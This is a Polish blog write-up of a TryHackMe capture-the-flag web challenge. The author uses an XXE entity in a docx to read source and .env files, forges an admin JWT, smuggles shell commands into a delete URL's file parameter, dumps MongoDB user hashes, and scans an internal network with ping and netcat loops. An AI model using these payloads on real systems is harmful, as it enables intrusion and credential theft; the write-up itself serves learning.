RAT CTF 2020

September 06, 2020

Wstęp

5-6 września 2020 miałem przyjemność wziąć udział w RAT CTF 2020. Zawody zostały zorganizowane przez The XSS rat z wykorzystaniem platformy Tryhackme. Głównym celem było odnalezienie podatności oraz zdobycie ukrytych flag w udostępnionej aplikacji webowej. Brzmiało jak wyzwanie ;-)

Po deploymencie aplikacji otrzymałem adres IP. Jako, iż spodziewałem się aplikacji webowej, rozpocząłem od wejścia na stronę http://<IP>. Nie myliłem się i moim oczom ukazała się żółta strona, będąca zadaniem. Aplikacja wydawała się bardzo prosta, zawierała możliwość rejestracji i logowania dla użytkowników. Po zalogowaniu pojawiała się możliwość uploadu plików oraz ich podgląd. Warty odnotowania jest fakt, iż obsługiwane pliki były ograniczone do .txt, .doc oraz .docx. Ograniczenie polegało wyłącznie na sprawdzaniu rozszerzenia pliku, nie zawierało rzeczywistej walidacji. Oprócz tego, po sprawdzeniu nagłówków HTTP doszedłem do wniosku, iż mam do czynienia z aplikacją stworzoną z pomocą Express.js.

Pierwsza flaga

Organizatorzy wydarzenia podzielili się wskazówką - atak powinien rozpocząć się od wykorzystania podatności XXE. Przydatny okazał się udostępniony film z youtube oraz dziesiątki wygooglanych przykładów. Z pomocą LibreOffice Writera utworzyłem przykładowy dokument docx i otworzyłem go z pomocą file-rollera.

docx

Następnie wyedytowałem /word/document.xml dodając: <!DOCTYPE test [ <!ENTITY xxe SYSTEM ”file:///usr/src/app/index.js” > ]> oraz &xxe; w ciele dokumentu. Wskazówkę, dotycząca ścieżki pliku znalazłem na podstronie z uploadem. Po wgraniu spreparowanego dokumentu i podejrzeniu go na stronie otrzymałem wgląd w poniższy kod źródłowy.

index js

Fragmentem, który zwrócił moją uwagę był const dotenv = require(‘dotenv’); Okazał się on cenną wskazówką, iż należy sięgnąć do pliku .env. Po szybkiej zmianie w payloadzie udało mi się zdobyć pierwszą flagę.

1flag

Druga flaga

Nim zdobyłem jeszcze pierwszą flagę, spędziłem parę godzin próbując shakować/złamać JSON Web Token zapisany w ciasteczku. Wraz z pierwszą flagą otrzymałem TOKEN_SECRET, który był brakującym elementem, pozwalającym na spreparowanie ciasteczka podnoszącego uprawnienia do poziomu admina. Do utworzenia nowego tokena posłużyłem się stroną jwt.io w poniższy sposób.

jwt

Po zdobyciu uprawnień administratora, zauważyłem iż na stronie podglądu wgranego pliku pojawił się przycisk jego usunięcia. W międzyczasie organizatorzy udostępnili kolejną wskazówkę - na stronie znajdować miał się element pozwalający na “blind code execution”. Odnaleziony przycisk wydawał się pierwszym podejrzanym ;-)

delete

Przygotowałem skrypt shellowy, wgrałem go na stronę (jako plik tekstowy) i odpaliłem wchodząc na spreparowany adres url http://<IP>/delete?file=key.txt%0A(cd+usr%0Acd+src%0Acd+app%0Acd+upload%0Ash+inject.txt). Wydaję mi się to dośc zabawne, ponieważ aby zdobyć flagę nie utworzyłem tunelu z tzw. reverse shellem. Zamiast tego sporządziłem parędziesiąt payloadów, wykonujących różne polecenia systemowe, z których output zapisałem do plików tekstowych gotowych do podglądu w hackowanej aplikacji. Ostatecznie odnalazłem plik flag2.txt znajdujący się w głównym systemie pliku i skopiowałem go do katalogu z uploadem. Wykorzystałem do tego następujący payload cp /flag2.txt ./.

flag2

Trzecia flaga (nie zdobyta)

Niestety, nie zdobyłem trzeciej flagi :-( Byłem prawie pewien, iż trzecia flaga znajduje się w bazie danych aplikacji (tja, to byłoby zbyt proste). Dlatego poświęciłem dostępny czas na utworzenie i uruchomienie poniższego kodu nodejs.

const mongoose = require('mongoose');
mongoose.connect('mongodb://root:jDd4sgFcd##sd19@mongodb/', {useNewUrlParser: true});
var db = mongoose.connection;
db.on('error', console.error.bind(console, 'MongoDB connection error:'));
db.on('open', function () {
    db.db.listCollections().toArray(function (err, names) {
      if (err) {
        console.log(err);
      } else {
        console.log(names);
      }
    });
});


const User = require('./model/User');

User.find({}, function(err, dupa) {
        if (err) throw err;
        console.log(dupa.length);
        for (var i = 0;i < dupa.length; i++){
          console.log(dupa[i]._id);
          console.log(dupa[i].name);
          console.log(dupa[i].email);
          console.log(dupa[i].password);
          console.log(dupa[i].date);
        }
    });

Niestety, poniższy output okazał się rozczarowujący.

  {
    name: 'users',
    type: 'collection',
    options: {},
    info: { readOnly: false, uuid: [Binary] },
    idIndex: { v: 2, key: [Object], name: '_id_', ns: 'test.users' }
  }
]
3
5f1ae68405d8f2001c19f852
4ndr34z
[email protected]
$2a$10$spy7FSrAdLqGlQM2nn4IVO6QCYvKASZJt.xyRRbwsS4c9RWC.MJIq
2020-07-24T13:47:48.618Z
5f53caf4f2900900271614e2
Andreas
[email protected]
$2a$10$dgYp4MC80h46v/IWMOT6xuD6rqNZEn/LahSVlOrQHN7QKxIB4vxsG
2020-09-05T17:29:24.711Z
5f5544ac1463d90027892b19
[email protected]
[email protected]
$2a$10$X5rn7Umcry.CE0fQm5fDOuW6TLfwFql5PwSZwnpJErPAyogUFuH/6
2020-09-06T20:21:00.556Z

Następną rzeczą, która przyszła mi do głowy było przeskanowanie sieci. W tym celu pingnąłem 255 adresów z sieci 172.20.0.0/24 for i in seq 255; do
ping -c 1 172.20.0.${i} >> ping_chain.txt 2>&1
done

Pierwsze trzy odpowiedziały. Postanowiłem przeskanować ich porty za pomocą netcata. Warte odnotowania jest to, iż netcat dostępny z busyboxa pozostawiał wiele do życzenia - gdyż, jak się okazało nie obsługiwał zakresu portów jako parametr (stąd poniższa pętla). for i in seq 9000; do
nc -zv 172.20.0.1 ${i} >> nc2.txt 2>&1
nc -zv 172.20.0.2 ${i} >> nc2.txt 2>&1
nc -zv 172.20.0.3 ${i} >> nc2.txt 2>&1
done

Tym sposobem odnalazłem kolejną aplikację stworzoną w nodejs, tym razem odpaloną pod wewnętrznym adresem http://172.20.0.1:3000 Rozpocząłem preparowanie payloadów i jej odpytywanie z pomocą netcata. Niestety nie starczyło mi czasu, gdyż impreza dobiegła końca i konkurs został zamknięty.

Podsumowanie

Nie zdobyłem wszystkich flag, za to świetnie się bawiłem i sporo nauczyłem. Dziękuję thexssrat! Zdrówka życzę!